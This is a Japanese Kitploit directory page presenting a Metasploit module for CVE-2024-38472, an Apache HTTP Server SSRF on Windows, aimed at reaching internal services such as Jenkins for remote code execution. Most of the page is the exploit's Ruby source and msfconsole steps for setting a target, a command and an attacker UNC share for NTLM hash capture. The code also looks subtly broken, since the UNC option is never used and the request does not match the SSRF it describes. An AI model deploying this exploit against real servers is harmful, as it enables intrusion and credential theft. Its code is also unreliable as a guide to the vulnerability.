Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-38472 — Metasploitモジュール。Windows上のApache HTTP ServerのSSRF(CVE-2024-38472)を悪用して内部サービスに到達し、リモートコード実行を達成します。 | Kitploit
ツール/GitHubGitHub/abdurahmon3236/cve-2024-38472
ペネトレーションテストフレームワークエクスプロイトフレームワーク脆弱性分析横移動ウェブアプリケーション悪用ポストエクスプロイトコマンド&コントロールレッドチーミングペイロード開発
GitHubabdurahmon3236/cve-2024-38472

CVE-2024-38472

Metasploitモジュール。Windows上のApache HTTP ServerのSSRF(CVE-2024-38472)を悪用して内部サービスに到達し、リモートコード実行を達成します。

452年前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Apache HTTP Server (Windows) の SSRF 脆弱性 (CVE-2024-38472) に対して Remote Code Execution (RCE) Metasploit モジュールを作成するのは困難です。SSRF 自体は直接 RCE にはつながらないからです。ただし、SSRF は多くの場合 RCE 達成へのステップとなり得ます。特に、内部サービスとの対話や二次的な脆弱性の発動に利用できる場合です。

SSRF 経由の RCE 戦略

RCE を SSRF 経由で達成するには、通常以下が必要です。

  1. SSRF 経由で悪用可能な特定の攻撃に対して脆弱な内部サービス。
  2. 任意のコード実行を可能にする設定ミスや追加の脆弱性。

この例では、HTTP リクエストを受け付け、任意のコード実行を誘導できる内部の二次サービス (Jenkins サーバーや API を公開している他のサービスなど) をトリガーできると仮定します。

Metasploit モジュールの例

内部サービスと相互作用するために SSRF を悪用して RCE を達成しようとする Metasploit モジュールを作成します。このケースでは、RCE のために悪用可能なスクリプトコンソールが公開されている内部 Jenkins サーバーをシミュレートします。

以下のコードを apache_unc_ssrf_rce.rb として、Metasploit Framework インストール先の modules/exploits/multi/http ディレクトリに保存します。

root@kitploit:~
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache HTTP Server Windows UNC SSRF to RCE',
      'Description'    => %q{
        This module exploits a Server-Side Request Forgery (SSRF) vulnerability in Apache HTTP Server on Windows,
        which can potentially be leveraged to achieve Remote Code Execution (RCE) by interacting with internal
        services like Jenkins.
      },
      'Author'         =>
        [
          'Your Name'  # Your name or handle
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2024-38472'],
          ['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
        ],
      'DisclosureDate' => 'Aug 03 2024',
      'Platform'       => ['win'],
      'Arch'           => [ARCH_CMD],
      'Targets'        => [
        ['Windows', { 'Arch' => ARCH_CMD, 'Platform' => 'win' }]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RHOSTS,
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, "The base path to the vulnerable application", '/']),
        OptString.new('UNC_SERVER', [ true, "UNC path of the malicious server to receive NTLM hashes", '\\\\attacker-server\\share']),
        OptString.new('INTERNAL_SERVICE', [ true, "Internal service URL to exploit for RCE", 'http://internal-service/script']),
        OptString.new('CMD', [ true, "Command to execute", 'calc.exe'])
      ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path),
    })

    if res && res.headers['Server'] && res.headers['Server'].include?('Apache')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    ssrf_payload = {
      'method'  => 'GET',
      'uri'     => normalize_uri(target_uri.path),
      'version' => '1.1',
      'headers' => {
        'Host' => datastore['RHOSTS'],
        'Content-Type' => 'application/x-www-form-urlencoded'
      },
      'data'    => "url=#{datastore['INTERNAL_SERVICE']}?script=#{Rex::Text.uri_encode(datastore['CMD'])}"
    }

    begin
      print_status("Sending SSRF request to #{datastore['RHOSTS']}:#{datastore['RPORT']}#{target_uri.path}")
      res = send_request_cgi(ssrf_payload)

      if res && res.code == 200
        print_good("Successfully triggered the internal service")
      else
        print_error("Failed to trigger the internal service: #{res.inspect}")
      end
    rescue ::Rex::ConnectionError => e
      print_error("Connection failed: #{e.message}")
    rescue ::Interrupt
      print_status("User interrupted the module execution")
    rescue ::Exception => e
      print_error("An unexpected error occurred: #{e.message}")
    end
  end
end

使用方法

  1. モジュールの保存: モジュールを apache_unc_ssrf_rce.rb として、Metasploit Framework インストール先の modules/exploits/multi/http ディレクトリに保存します。

    root@kitploit:~
    /path/to/metasploit-framework/modules/exploits/multi/http/apache_unc_ssrf_rce.rb
    
  2. Metasploit の起動: ターミナルを開いて次のコマンドを実行し、Metasploit Framework を起動します。

    root@kitploit:~
    msfconsole
    
  3. 新しいモジュールの使用: Metasploit コンソールで次のコマンドを使用して、新しいエクスプロイトモジュールをロードします。

    root@kitploit:~
    use exploit/multi/http/apache_unc_ssrf_rce
    
  4. 設定と実行: RHOSTS、RPORT、TARGETURI、UNC_SERVER、INTERNAL_SERVICE、CMD などの必要なオプションを設定します。その後、モジュールを実行します。

    root@kitploit:~
    msf6 > use exploit/multi/http/apache_unc_ssrf_rce
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RHOSTS target_ip
    RHOSTS => target_ip
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set RPORT 80
    RPORT => 80
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set TARGETURI /
    TARGETURI => /
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set UNC_SERVER \\\\attacker-server\\share
    UNC_SERVER => \\attacker-server\share
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set INTERNAL_SERVICE http://internal-service/script
    INTERNAL_SERVICE => http://internal-service/script
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > set CMD calc.exe
    CMD => calc.exe
    msf6 exploit(multi/http/apache_unc_ssrf_rce) > run
    

重要な注意事項

  • システムのテストや悪用を行う前に、適切な権限があることを確認してください。
  • このモジュールは教育およびテスト目的で設計されています。本番環境で使用する前に、必ず安全で制御された環境でテストしてください。

この拡張 Metasploit モジュールは、Windows 上の脆弱な Apache HTTP サーバーに細工したリクエストを送信し、SSRF 脆弱性をトリガーして内部サービスと相互作用することで RCE を達成しようとします。脆弱性の具体的な性質やターゲット環境に応じて、ペイロードとモジュールを適宜調整してください。

ツールをダウンロード